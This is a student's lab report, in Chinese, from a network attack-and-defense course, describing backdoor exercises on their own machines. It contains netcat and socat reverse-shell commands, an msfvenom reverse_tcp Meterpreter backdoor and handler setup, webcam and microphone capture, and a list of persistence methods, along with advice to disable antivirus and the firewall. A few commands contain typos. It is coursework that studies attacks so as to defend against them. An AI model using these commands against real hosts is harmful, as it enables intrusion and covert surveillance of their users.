#20232408 2025-2026-1 《网络与系统攻防技术》实验二实验报告 - 20232408

实 验 报 告

课程名称：	网络与系统攻防技术
实验序号：	实验一
实验名称：	缓冲区溢出攻击
学 号：	20232408
姓 名：	李易骋
指导老师：	王志强
必修/选修：	选修
实验日期：	2025.10.15

一、实验目的

** 学习ncat/socat/MSF等有关后门程序的基本应用使用发放，使用以上后门并远程控制另一主机，获取目标主机音频、摄像头、击键记录等内容，并尝试提权。

二、实验内容

(1)使用netcat获取主机操作Shell，cron启动某项任务（任务自定）

PS：cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程

(2)使用socat获取主机操作Shell, 任务计划启动

(3)使用MSF meterpreter（或其他软件）生成可执行文件（后门），利用ncat或socat传送到主机并运行获取主机Shell

(4)使用MSF meterpreter（或其他软件）生成获取目标主机音频、摄像头、击键记录等内容的后门，并尝试提权

(5)使用MSF生成shellcode,注入到实践1中的pwn1中，获取反弹连接Shell。

3. 基础环境

   kali虚拟机，具体配置如下:

3. 实验过程
   **
   4.1使用netcat获取主机的Shell

   4.1.1 在windows系统中下载ncat.exe，配置环境

   在网址https://eternallybored.org/misc/netcat/中下载ncat，打开“系统环境变量”配置环境。

   4.1.2 关闭防火墙，否则会被查杀。

   在系统设置中关闭防火墙，根据所使用的网络类型来。

4.1.3 获得主机shell。

先ipconfig获得主机ip地址。

然后在windows端启动端口号8888监听。nc -l -p 8888 。

在kali端切换成root用户之后， 输入命令nc 192.168.119.1 8888 -e /bin/sh，获得主机shell。

图中可以看到，反过来也是一样的，就是windows传递shell，kali去监听也是可行的。

 4.1.4启动定时任务

写了一个my.corn,相隔5s输出当前时间。

4.2使用socat来获取主机shell

4.2.1下载socat

可去namp官网下载socat安装包。

关闭防火墙。

4.2.2 启动主机监听/传输shell命令

同样，这里是kali启动监听，windows传输cmd.exe，kali获取windows的shell。

命令是socat.exe TCP:192.168.119.128:455 EXEC:cnd.exe,pty

socat TCP-LISTEN:4455,reuseaddr,fork-

同样写入计时cron任务。

4.3 使用MSF meterpreter，获得主机shell，控制摄像头等。

4.3.1 下载MSF meterpreter

要关闭防火墙下载。

4.3.2 生成MSF后门文件并且传输

msfvenom -p windows/meterpreter/reverse\_tcp LHOST=192.168.119.128 LPORT=4568 -f exe > backdoor20232408.exe
这里与之前不同的是，此处是windows先开监听，kali再开监听，通过“发过去”的后门程序反弹回主机shell。

socat.exe TCP-LISTEN:4568455,reuseaddr - > backdoor20232408.exe

socat FILE:/var/www/html/backdoor20232408.exe TCP:192.168.119.1:4568

4.3.3 msfconsole执行主机命令，控制摄像头/录音

生成文件之后，msfconsole -q进入控制界面。执行以下命令:

`use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_tcp

set LHOST 192.168.119.128

set LPORT 4568`

可以通过webcam\_snap来拍张照。或者使用record\_mic来录个音。

4.3.4 尝试提权

使用命令getsystem，发现无法提权，仍然是此用户。在物理机中关闭了所有的安全保护，包括UAC等，都没有用。分析原因：只有一个会话，而且无法切换，存在内核保护。

3. 问题以及解决
4. 后门程序被连续杀死，无法传输/无法运行。

原因是防火墙开启/病毒保护开启。注意在病毒保护中要把实时保护关闭，不然即使允许了“这一次的程序执行”，也会杀死“下一次的程序执行”。可以把文件放在可执行区，但是依旧要关闭实时保护。

1. 摄像功能异常

我在进行摄像测试时，发现照片一直是黑的。我以为是内核保护或者禁止访问，后来发现其实是电脑旁边有个小按钮，按一下才能开摄像头。

1. screenshot一直显示超时

   这个问题始终没有解决，原因在于windows11家庭版 24H3对非本机调用内核截屏有着非常严格、无法绕过的控制我试过，关闭Defender、降内核隔离、禁用UAC + SYSTEM，全都以失败告终。

六、回答问题

6.1 列举你能想到的一个后门进入到你系统中的可能方式

可能会以一个伪装的网站的形式，我们去找官网的时候会不小心点进去，然后被植入后门程序。

    6.2 列举你知道的后门如何启动起来(windows及linux)的方式

Windows:很多后门程序是开机启动的。还有的是通过schtasks命令创建定时任务，设置后门程序在特定时间或触发条件下自动运行。

Linux:

1.启动脚本：将后门程序路径添加到/etc/rc.local（部分系统需确保文件可执行）、/etc/profile或用户目录下的.bashrc等脚本文件中，系统启动或用户登录时脚本会自动执行后门。

2.系统服务：在/etc/systemd/system/目录下创建后门服务的.service文件，配置ExecStart为后门程序路径，再通过systemctl enable设置开机自启，systemctl start启动服务。

3.Crontab 定时任务：通过crontab -e编辑定时任务列表，添加如* * * * * /path/backdoor的命令，设置后门程序按分钟、小时等周期自动运行。

6.3  Meterpreter有哪些给你映像深刻的功能

它能控制摄像头、麦克风，能够毫不费力得到shell，是很可怕的，也难怪现在的windows系统对它严防死守，只要看到相应的特征就会毫不犹豫杀掉。我们使用时必须在合法授权环境下使用，也要小心防御。

6.4 如何发现自己有系统有没有被安装后门

可以借助杀毒软件，它们比较专业。也可以查看自己进程，是否对外有陌生的连接。还可以分析是否有异常的定时计划。

七、实验体会

后门程序得到这个实验很好玩，我们能够想象到，通过一个程序去控制其他主机、得到我们需要的信息，这是一件很“技术”的事情。但是我们的电脑也有被这样入侵的风险，尤其是我们自己不注意防范的时候。现代的后门技术越来越发达，固然难以防范，但是如果我们养成良好的网络防御意识，比如说不轻易点开陌生邮件，不点击不明来源网站等等，我们是可以在一定程度上限制被入侵的。在实验中碰到很多问题，大部分解决了，但是还有一个screenshot的问题花费了我两个晚上还是没解决。通过这次实验，我深刻学习了后门程序得到原理与应用，也对这种行为有了更加深入的认识。